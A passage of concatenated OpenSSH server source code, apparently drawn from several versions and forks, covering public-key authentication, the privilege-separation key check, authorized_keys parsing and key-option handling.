session_id2, session_id2_len); } else { buffer_put_string(&b, session_id2, session_id2_len); } /* reconstruct packet */ buffer_put_char(&b, SSH2_MSG_USERAUTH_REQUEST); buffer_put_cstring(&b, authctxt->user); buffer_put_cstring(&b, datafellows & SSH_BUG_PKSERVICE ? "ssh-userauth" : authctxt->service); if (datafellows & SSH_BUG_PKAUTH) { buffer_put_char(&b, have_sig); } else { buffer_put_cstring(&b, "publickey"); buffer_put_char(&b, have_sig); buffer_put_cstring(&b, pkalg); } buffer_put_string(&b, pkblob, blen); #ifdef DEBUG_PK buffer_dump(&b); #endif /* test for correct signature */ if (user_key_allowed(authctxt->pw, key) && key_verify(key, sig, slen, buffer_ptr(&b), buffer_len(&b)) == 1) { authenticated = 1; } authctxt->method->postponed = 0; buffer_free(&b); xfree(sig); } else { debug("test whether pkalg/pkblob are acceptable"); packet_check_eom(); /* XXX fake reply and always send PK_OK ? */ /* * XXX this allows testing whether a user is allowed * to login: if you happen to have a valid pubkey this * message is sent. the message is NEVER sent at all * if a user is not allowed to login. is this an * issue? -markus */ if (user_key_allowed(authctxt->pw, key)) { packet_start(SSH2_MSG_USERAUTH_PK_OK); packet_put_string(pkalg, alen); packet_put_string(pkblob, blen); packet_send(); packet_write_wait(); authctxt->method->postponed = 1; /* * Remember key that was tried so we can * correctly detect abandonment. See above. */ authctxt->method->method_data = (void *) key; key = NULL; } } if (authenticated != 1) auth_clear_options(); done: /* * XXX TODO: add config options for specifying users for whom * this userauth is insufficient and what userauths may * continue. */ #ifdef USE_PAM if (authenticated) { if (!do_pam_non_initial_userauth(authctxt)) authenticated = 0; } #endif /* USE_PAM */ debug2("userauth_pubkey: authenticated %d pkalg %s", authenticated, pkalg); if (key != NULL) key_free(key); xfree(pkalg); xfree(pkblob); #ifdef HAVE_CYGWIN if (check_nt_auth(0, authctxt->pw) == 0) return; #endif if (authenticated) authctxt->method->authenticated = 1; }
int mm_answer_keyallowed(int sock, struct sshbuf *m) { struct ssh *ssh = active_state; /* XXX */ struct sshkey *key; char *cuser, *chost; u_char *blob; size_t bloblen; enum mm_keytype type = 0; int r, allowed = 0; debug3("%s entering", __func__); if ((r = sshbuf_get_u32(m, &type)) != 0 || (r = sshbuf_get_cstring(m, &cuser, NULL)) != 0 || (r = sshbuf_get_cstring(m, &chost, NULL)) != 0 || (r = sshbuf_get_string(m, &blob, &bloblen)) != 0) fatal("%s: buffer error: %s", __func__, ssh_err(r)); if ((r = sshkey_from_blob(blob, bloblen, &key)) != 0) fatal("%s: cannot parse key: %s", __func__, ssh_err(r)); if ((compat20 && type == MM_RSAHOSTKEY) || (!compat20 && type != MM_RSAHOSTKEY)) fatal("%s: key type and protocol mismatch", __func__); if (key != NULL && authctxt->valid) { /* These should not make it past the privsep child */ if (sshkey_type_plain(key->type) == KEY_RSA && (ssh->compat & SSH_BUG_RSASIGMD5) != 0) fatal("%s: passed a SSH_BUG_RSASIGMD5 key", __func__); switch (type) { case MM_USERKEY: allowed = options.pubkey_authentication && !auth2_userkey_already_used(authctxt, key) && match_pattern_list(sshkey_ssh_name(key), options.pubkey_key_types, strlen(options.pubkey_key_types), 0) == 1 && user_key_allowed(authctxt->pw, key); pubkey_auth_info(authctxt, key, NULL); auth_method = "publickey"; if (options.pubkey_authentication && allowed != 1) auth_clear_options(); break; case MM_HOSTKEY: allowed = options.hostbased_authentication && match_pattern_list(sshkey_ssh_name(key), options.hostbased_key_types, strlen(options.hostbased_key_types), 0) == 1 && hostbased_key_allowed(authctxt->pw, cuser, chost, key); pubkey_auth_info(authctxt, key, "client user \"%.100s\", client host \"%.100s\"", cuser, chost); auth_method = "hostbased"; break; #ifdef WITH_SSH1 case MM_RSAHOSTKEY: key->type = KEY_RSA1; /* XXX */ allowed = options.rhosts_rsa_authentication && auth_rhosts_rsa_key_allowed(authctxt->pw, cuser, chost, key); if (options.rhosts_rsa_authentication && allowed != 1) auth_clear_options(); auth_method = "rsa"; break; #endif default: fatal("%s: unknown key type %d", __func__, type); break; } } if (key != NULL) sshkey_free(key); /* clear temporarily storage (used by verify) */ monitor_reset_key_state(); if (allowed) { /* Save temporarily for comparison in verify */ key_blob = blob; key_bloblen = bloblen; key_blobtype = type; hostbased_cuser = cuser; hostbased_chost = chost; } else { /* Log failed attempt */ auth_log(authctxt, 0, 0, auth_method, NULL); free(blob); free(cuser); free(chost); } debug3("%s: key %p is %s", __func__, key, allowed ? "allowed" : "not allowed"); sshbuf_reset(m); if ((r = sshbuf_put_u32(m, allowed)) != 0 || (r = sshbuf_put_u32(m, forced_command != NULL)) != 0) fatal("%s: buffer error: %s", __func__, ssh_err(r)); mm_request_send(sock, MONITOR_ANS_KEYALLOWED, m); if (type == MM_RSAHOSTKEY) monitor_permit(mon_dispatch, MONITOR_REQ_RSACHALLENGE, allowed); return (0); }
static int userauth_pubkey(Authctxt *authctxt) { Buffer b; Key *key = NULL; char *pkalg; u_char *pkblob, *sig; u_int alen, blen, slen; int have_sig, pktype; int authenticated = 0; if (!authctxt->valid) { debug2("userauth_pubkey: disabled because of invalid user"); return 0; } have_sig = packet_get_char(); if (datafellows & SSH_BUG_PKAUTH) { debug2("userauth_pubkey: SSH_BUG_PKAUTH"); /* no explicit pkalg given */ pkblob = packet_get_string(&blen); buffer_init(&b); buffer_append(&b, pkblob, blen); /* so we have to extract the pkalg from the pkblob */ pkalg = buffer_get_string(&b, &alen); buffer_free(&b); } else { pkalg = packet_get_string(&alen); pkblob = packet_get_string(&blen); } pktype = key_type_from_name(pkalg); if (pktype == KEY_UNSPEC) { /* this is perfectly legal */ logit("userauth_pubkey: unsupported public key algorithm: %s", pkalg); goto done; } key = key_from_blob(pkblob, blen); if (key == NULL) { error("userauth_pubkey: cannot decode key: %s", pkalg); goto done; } if (key->type != pktype) { error("userauth_pubkey: type mismatch for decoded key " "(received %d, expected %d)", key->type, pktype); goto done; } if (have_sig) { sig = packet_get_string(&slen); packet_check_eom(); buffer_init(&b); if (datafellows & SSH_OLD_SESSIONID) { buffer_append(&b, session_id2, session_id2_len); } else { buffer_put_string(&b, session_id2, session_id2_len); } /* reconstruct packet */ buffer_put_char(&b, SSH2_MSG_USERAUTH_REQUEST); buffer_put_cstring(&b, authctxt->user); buffer_put_cstring(&b, datafellows & SSH_BUG_PKSERVICE ? "ssh-userauth" : authctxt->service); if (datafellows & SSH_BUG_PKAUTH) { buffer_put_char(&b, have_sig); } else { buffer_put_cstring(&b, "publickey"); buffer_put_char(&b, have_sig); buffer_put_cstring(&b, pkalg); } buffer_put_string(&b, pkblob, blen); #ifdef DEBUG_PK buffer_dump(&b); #endif /* test for correct signature */ authenticated = 0; if (PRIVSEP(user_key_allowed(authctxt->pw, key)) && PRIVSEP(key_verify(key, sig, slen, buffer_ptr(&b), buffer_len(&b))) == 1) authenticated = 1; buffer_free(&b); xfree(sig); } else { debug("test whether pkalg/pkblob are acceptable"); packet_check_eom(); /* XXX fake reply and always send PK_OK ? */ /* * XXX this allows testing whether a user is allowed * to login: if you happen to have a valid pubkey this * message is sent. the message is NEVER sent at all * if a user is not allowed to login. is this an * issue? -markus */ if (PRIVSEP(user_key_allowed(authctxt->pw, key))) { packet_start(SSH2_MSG_USERAUTH_PK_OK); packet_put_string(pkalg, alen); packet_put_string(pkblob, blen); packet_send(); packet_write_wait(); authctxt->postponed = 1; } } if (authenticated != 1) auth_clear_options(); done: debug2("userauth_pubkey: authenticated %d pkalg %s", authenticated, pkalg); if (key != NULL) key_free(key); xfree(pkalg); xfree(pkblob); return authenticated; }
static int userauth_pubkey(Authctxt *authctxt) { #ifdef WIN32_FIXME int loginStat = 1; char currentUser[MAX_PATH] = {0}; DWORD currentUserSize = sizeof(currentUser); int targetIsCurrent = 0; # ifdef USE_NTCREATETOKEN int doOpenSSHVerify = 1; # else int doOpenSSHVerify = 0; # endif #endif Buffer b; Key *key = NULL; char *pkalg, *userstyle; u_char *pkblob, *sig; u_int alen, blen, slen; int have_sig, pktype; int authenticated = 0; if (!authctxt->valid) { debug2("userauth_pubkey: disabled because of invalid user"); return 0; } have_sig = packet_get_char(); if (datafellows & SSH_BUG_PKAUTH) { debug2("userauth_pubkey: SSH_BUG_PKAUTH"); /* no explicit pkalg given */ pkblob = packet_get_string(&blen); buffer_init(&b); buffer_append(&b, pkblob, blen); /* so we have to extract the pkalg from the pkblob */ pkalg = buffer_get_string(&b, &alen); buffer_free(&b); } else { pkalg = packet_get_string(&alen); pkblob = packet_get_string(&blen); } pktype = key_type_from_name(pkalg); if (pktype == KEY_UNSPEC) { /* this is perfectly legal */ logit("userauth_pubkey: unsupported public key algorithm: %s", pkalg); goto done; } key = key_from_blob(pkblob, blen); if (key == NULL) { error("userauth_pubkey: cannot decode key: %s", pkalg); goto done; } if (key->type != pktype) { error("userauth_pubkey: type mismatch for decoded key " "(received %d, expected %d)", key->type, pktype); goto done; } if (key_type_plain(key->type) == KEY_RSA && (datafellows & SSH_BUG_RSASIGMD5) != 0) { logit("Refusing RSA key because client uses unsafe " "signature scheme"); goto done; } if (auth2_userkey_already_used(authctxt, key)) { logit("refusing previously-used %s key", key_type(key)); goto done; } if (match_pattern_list(sshkey_ssh_name(key), options.pubkey_key_types, 0) != 1) { logit("%s: key type %s not in PubkeyAcceptedKeyTypes", __func__, sshkey_ssh_name(key)); goto done; } if (have_sig) { sig = packet_get_string(&slen); packet_check_eom(); buffer_init(&b); if (datafellows & SSH_OLD_SESSIONID) { buffer_append(&b, session_id2, session_id2_len); } else { buffer_put_string(&b, session_id2, session_id2_len); } /* reconstruct packet */ buffer_put_char(&b, SSH2_MSG_USERAUTH_REQUEST); xasprintf(&userstyle, "%s%s%s", authctxt->user, authctxt->style ? ":" : "", authctxt->style ? authctxt->style : ""); buffer_put_cstring(&b, userstyle); free(userstyle); buffer_put_cstring(&b, datafellows & SSH_BUG_PKSERVICE ? "ssh-userauth" : authctxt->service); if (datafellows & SSH_BUG_PKAUTH) { buffer_put_char(&b, have_sig); } else { buffer_put_cstring(&b, "publickey"); buffer_put_char(&b, have_sig); buffer_put_cstring(&b, pkalg); } buffer_put_string(&b, pkblob, blen); #ifdef DEBUG_PK buffer_dump(&b); #endif pubkey_auth_info(authctxt, key, NULL); /* test for correct signature */ authenticated = 0; /* * On pure win32 try to logon using lsa first. */ #ifdef WIN32_FIXME authctxt -> hTokenLsa_ = NULL; authctxt -> methoddata = NULL; /* * Retrieve name of current login user (i.e. sshd process owner). */ GetUserName(currentUser, ¤tUserSize); /* * Try to get token from lsa, but only if targetUser != currentUser. * Owerthise we already have targetUser's token in current thread, so * we only need key verify from original OpenSSH code. */ targetIsCurrent = (strcmp(currentUser, authctxt -> user) == 0); if (targetIsCurrent) { doOpenSSHVerify = 1; } else { loginStat = LsaLogon(&authctxt -> hTokenLsa_, HomeDirLsaW, authctxt -> user, pkblob, blen, sig, slen, buffer_ptr(&b), buffer_len(&b), datafellows); /* * If lsa logon process success. */ if (loginStat == 0) { /* * And user authorized OK. */ if (authctxt -> hTokenLsa_) { doOpenSSHVerify = 0; /* * This is part of openssh authorization needed for parsing * 'options' block in key. */ authctxt -> pw -> pw_dir = GetHomeDir(authctxt -> user); if (PRIVSEP(user_key_allowed(authctxt -> pw, key, 1))) // PRAGMA:TODO { authenticated = 1; } else { authenticated = 0; } buffer_free(&b); free(sig); } } } if (doOpenSSHVerify) { /* * If lsa fails, test for correct signature using openssh code. */ authctxt -> pw -> pw_dir = GetHomeDir(authctxt -> user); if (PRIVSEP(user_key_allowed(authctxt->pw, key, 0)) //PRAGMA:TODO && PRIVSEP(key_verify(key, sig, slen, buffer_ptr(&b), buffer_len(&b))) == 1) { authenticated = 1; } } /* * Original code. */ #else /* #ifdef WIN32_FIXME */ if (PRIVSEP(user_key_allowed(authctxt->pw, key, 1)) && PRIVSEP(key_verify(key, sig, slen, buffer_ptr(&b), buffer_len(&b))) == 1) { authenticated = 1; /* Record the successful key to prevent reuse */ auth2_record_userkey(authctxt, key); key = NULL; /* Don't free below */ } buffer_free(&b); free(sig); #endif /* else #ifdef WIN32_FIXME. */ } else { debug("test whether pkalg/pkblob are acceptable"); packet_check_eom(); /* XXX fake reply and always send PK_OK ? */ /* * XXX this allows testing whether a user is allowed * to login: if you happen to have a valid pubkey this * message is sent. the message is NEVER sent at all * if a user is not allowed to login. is this an * issue? -markus */ #ifndef WIN32_FIXME if (PRIVSEP(user_key_allowed(authctxt->pw, key, 0))) #endif { packet_start(SSH2_MSG_USERAUTH_PK_OK); packet_put_string(pkalg, alen); packet_put_string(pkblob, blen); packet_send(); packet_write_wait(); authctxt->postponed = 1; } } if (authenticated != 1) auth_clear_options(); done: debug2("userauth_pubkey: authenticated %d pkalg %s", authenticated, pkalg); if (key != NULL) key_free(key); free(pkalg); free(pkblob); return authenticated; }
/* * Checks whether key is allowed in authorized_keys-format file, * returns 1 if the key is allowed or 0 otherwise. */ static int check_authkeys_file(FILE *f, char *file, Key* key, struct passwd *pw) { char line[SSH_MAX_PUBKEY_BYTES]; int found_key = 0; u_long linenum = 0; Key *found; found_key = 0; found = NULL; while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) { char *cp, *key_options = NULL, *fp = NULL; const char *reason = NULL; /* Always consume entrire file */ if (found_key) continue; if (found != NULL) key_free(found); found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type); auth_clear_options(); /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("user_key_allowed: check options: '%s'", cp); key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ continue; } } if (key_is_cert(key)) { if (!key_equal(found, key->cert->signature_key)) continue; if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (!key_is_cert_authority) continue; if ((fp = sshkey_fingerprint(found, options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL) continue; debug("matching CA found: file %s, line %lu, %s %s", file, linenum, key_type(found), fp); /* * If the user has specified a list of principals as * a key option, then prefer that list to matching * their username in the certificate principals list. */ if (authorized_principals != NULL && !match_principals_option(authorized_principals, key->cert)) { reason = "Certificate does not contain an " "authorized principal"; fail_reason: free(fp); error("%s", reason); auth_debug_add("%s", reason); continue; } if (key_cert_check_authority(key, 0, 0, authorized_principals == NULL ? pw->pw_name : NULL, &reason) != 0) goto fail_reason; if (auth_cert_options(key, pw, &reason) != 0) goto fail_reason; verbose("Accepted certificate ID \"%s\" (serial %llu) " "signed by %s CA %s via %s", key->cert->key_id, (unsigned long long)key->cert->serial, key_type(found), fp, file); free(fp); found_key = 1; break; } else if (key_equal(found, key)) { if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (key_is_cert_authority) continue; if ((fp = sshkey_fingerprint(found, options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL) continue; debug("matching key found: file %s, line %lu %s %s", file, linenum, key_type(found), fp); free(fp); found_key = 1; continue; } } if (found != NULL) key_free(found); if (!found_key) debug2("key not found"); return found_key; }
/* * return 1 if access is granted, 0 if not. * side effect: sets key option flags */ int auth_parse_options(struct passwd *pw, char *opts, char *file, u_long linenum) { struct ssh *ssh = active_state; /* XXX */ const char *cp; int i, r; /* reset options */ auth_clear_options(); if (!opts) return 1; while (*opts && *opts != ' ' && *opts != '\t') { if ((r = match_flag("cert-authority", 0, &opts, NULL)) != -1) { key_is_cert_authority = r; goto next_option; } if ((r = match_flag("restrict", 0, &opts, NULL)) != -1) { auth_debug_add("Key is restricted."); no_port_forwarding_flag = 1; no_agent_forwarding_flag = 1; no_x11_forwarding_flag = 1; no_pty_flag = 1; no_user_rc = 1; goto next_option; } if ((r = match_flag("port-forwarding", 1, &opts, "Port forwarding")) != -1) { no_port_forwarding_flag = r != 1; goto next_option; } if ((r = match_flag("agent-forwarding", 1, &opts, "Agent forwarding")) != -1) { no_agent_forwarding_flag = r != 1; goto next_option; } if ((r = match_flag("x11-forwarding", 1, &opts, "X11 forwarding")) != -1) { no_x11_forwarding_flag = r != 1; goto next_option; } if ((r = match_flag("pty", 1, &opts, "PTY allocation")) != -1) { no_pty_flag = r != 1; goto next_option; } if ((r = match_flag("user-rc", 1, &opts, "User rc execution")) != -1) { no_user_rc = r != 1; goto next_option; } cp = "command=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { opts += strlen(cp); free(forced_command); forced_command = xmalloc(strlen(opts) + 1); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; forced_command[i++] = '"'; continue; } forced_command[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); free(forced_command); forced_command = NULL; goto bad_option; } forced_command[i] = '\0'; auth_debug_add("Forced command."); opts++; goto next_option; } cp = "principals=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { opts += strlen(cp); free(authorized_principals); authorized_principals = xmalloc(strlen(opts) + 1); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; authorized_principals[i++] = '"'; continue; } authorized_principals[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); free(authorized_principals); authorized_principals = NULL; goto bad_option; } authorized_principals[i] = '\0'; auth_debug_add("principals: %.900s", authorized_principals); opts++; goto next_option; } cp = "environment=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { char *s; struct envstring *new_envstring; opts += strlen(cp); s = xmalloc(strlen(opts) + 1); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; s[i++] = '"'; continue; } s[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); free(s); goto bad_option; } s[i] = '\0'; opts++; if (options.permit_user_env) { auth_debug_add("Adding to environment: " "%.900s", s); debug("Adding to environment: %.900s", s); new_envstring = xcalloc(1, sizeof(*new_envstring)); new_envstring->s = s; new_envstring->next = custom_environment; custom_environment = new_envstring; s = NULL; } free(s); goto next_option; } cp = "from=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { const char *remote_ip = ssh_remote_ipaddr(ssh); const char *remote_host = auth_get_canonical_hostname( ssh, options.use_dns); char *patterns = xmalloc(strlen(opts) + 1); opts += strlen(cp); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; patterns[i++] = '"'; continue; } patterns[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); free(patterns); goto bad_option; } patterns[i] = '\0'; opts++; switch (match_host_and_ip(remote_host, remote_ip, patterns)) { case 1: free(patterns); /* Host name matches. */ goto next_option; case -1: debug("%.100s, line %lu: invalid criteria", file, linenum); auth_debug_add("%.100s, line %lu: " "invalid criteria", file, linenum); /* FALLTHROUGH */ case 0: free(patterns); logit("Authentication tried for %.100s with " "correct key but not from a permitted " "host (host=%.200s, ip=%.200s).", pw->pw_name, remote_host, remote_ip); auth_debug_add("Your host '%.200s' is not " "permitted to use this key for login.", remote_host); break; } /* deny access */ return 0; } cp = "permitopen=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { char *host, *p; int port; char *patterns = xmalloc(strlen(opts) + 1); opts += strlen(cp); i = 0; while (*opts) { if (*opts == '"') break; if (*opts == '\\' && opts[1] == '"') { opts += 2; patterns[i++] = '"'; continue; } patterns[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing " "end quote", file, linenum); free(patterns); goto bad_option; } patterns[i] = '\0'; opts++; p = patterns; /* XXX - add streamlocal support */ host = hpdelim(&p); if (host == NULL || strlen(host) >= NI_MAXHOST) { debug("%.100s, line %lu: Bad permitopen " "specification <%.100s>", file, linenum, patterns); auth_debug_add("%.100s, line %lu: " "Bad permitopen specification", file, linenum); free(patterns); goto bad_option; } host = cleanhostname(host); if (p == NULL || (port = permitopen_port(p)) < 0) { debug("%.100s, line %lu: Bad permitopen port " "<%.100s>", file, linenum, p ? p : ""); auth_debug_add("%.100s, line %lu: " "Bad permitopen port", file, linenum); free(patterns); goto bad_option; } if ((options.allow_tcp_forwarding & FORWARD_LOCAL) != 0) channel_add_permitted_opens(host, port); free(patterns); goto next_option; } cp = "tunnel=\""; if (strncasecmp(opts, cp, strlen(cp)) == 0) { char *tun = NULL; opts += strlen(cp); tun = xmalloc(strlen(opts) + 1); i = 0; while (*opts) { if (*opts == '"') break; tun[i++] = *opts++; } if (!*opts) { debug("%.100s, line %lu: missing end quote", file, linenum); auth_debug_add("%.100s, line %lu: missing end quote", file, linenum); free(tun); forced_tun_device = -1; goto bad_option; } tun[i] = '\0'; forced_tun_device = a2tun(tun, NULL); free(tun); if (forced_tun_device == SSH_TUNID_ERR) { debug("%.100s, line %lu: invalid tun device", file, linenum); auth_debug_add("%.100s, line %lu: invalid tun device", file, linenum); forced_tun_device = -1; goto bad_option; } auth_debug_add("Forced tun device: %d", forced_tun_device); opts++; goto next_option; } next_option: /* * Skip the comma, and move to the next option * (or break out if there are no more). */ if (!*opts) fatal("Bugs in auth-options.c option processing."); if (*opts == ' ' || *opts == '\t') break; /* End of options. */ if (*opts != ',') goto bad_option; opts++; /* Process the next option. */ } /* grant access */ return 1; bad_option: logit("Bad options in %.100s file, line %lu: %.50s", file, linenum, opts); auth_debug_add("Bad options in %.100s file, line %lu: %.50s", file, linenum, opts); /* deny access */ return 0; }
/* return 1 if user allows given key */ static int user_key_allowed2(struct passwd *pw, Key *key, char *file) { char line[SSH_MAX_PUBKEY_BYTES]; const char *reason; int found_key = 0; FILE *f; u_long linenum = 0; Key *found; char *fp; #ifdef WITH_LDAP_PUBKEY ldap_key_t * k; unsigned int i = 0; #endif /* Temporarily use the user's uid. */ temporarily_use_uid(pw); #ifdef WITH_LDAP_PUBKEY found_key = 0; /* allocate a new key type */ found = key_new(key->type); /* first check if the options is enabled, then try.. */ if (options.lpk.on) { debug("[LDAP] trying LDAP first uid=%s",pw->pw_name); if (ldap_ismember(&options.lpk, pw->pw_name) > 0) { if ((k = ldap_getuserkey(&options.lpk, pw->pw_name)) != NULL) { /* Skip leading whitespace, empty and comment lines. */ for (i = 0 ; i < k->num ; i++) { /* dont forget if multiple keys to reset options */ char *cp, *xoptions = NULL; for (cp = (char *)k->keys[i]->bv_val; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("[LDAP] user_key_allowed: check options: '%s'", cp); xoptions = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("[LDAP] user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ continue; } } if (key_equal(found, key) && auth_parse_options(pw, xoptions, file, linenum) == 1) { found_key = 1; debug("[LDAP] matching key found"); fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); verbose("[LDAP] Found matching %s key: %s", key_type(found), fp); /* restoring memory */ ldap_keys_free(k); xfree(fp); restore_uid(); key_free(found); return found_key; break; } }/* end of LDAP for() */ } else { logit("[LDAP] no keys found for '%s'!", pw->pw_name); } } else { logit("[LDAP] '%s' is not in '%s'", pw->pw_name, options.lpk.sgroup); } } #endif debug("trying public key file %s", file); f = auth_openkeyfile(file, pw, options.strict_modes); if (!f) { restore_uid(); return 0; } found_key = 0; found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type); while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) { char *cp, *key_options = NULL; auth_clear_options(); /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("user_key_allowed: check options: '%s'", cp); key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ continue; } } if (key_is_cert(key)) { if (!key_equal(found, key->cert->signature_key)) continue; if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (!key_is_cert_authority) continue; fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); debug("matching CA found: file %s, line %lu, %s %s", file, linenum, key_type(found), fp); /* * If the user has specified a list of principals as * a key option, then prefer that list to matching * their username in the certificate principals list. */ if (authorized_principals != NULL && !match_principals_option(authorized_principals, key->cert)) { reason = "Certificate does not contain an " "authorized principal"; fail_reason: xfree(fp); error("%s", reason); auth_debug_add("%s", reason); continue; } if (key_cert_check_authority(key, 0, 0, authorized_principals == NULL ? pw->pw_name : NULL, &reason) != 0) goto fail_reason; if (auth_cert_options(key, pw) != 0) { xfree(fp); continue; } verbose("Accepted certificate ID \"%s\" " "signed by %s CA %s via %s", key->cert->key_id, key_type(found), fp, file); xfree(fp); found_key = 1; break; } else if (key_equal(found, key)) { if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (key_is_cert_authority) continue; found_key = 1; debug("matching key found: file %s, line %lu", file, linenum); fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); verbose("Found matching %s key: %s", key_type(found), fp); xfree(fp); break; } } restore_uid(); fclose(f); key_free(found); if (!found_key) debug2("key not found"); return found_key; }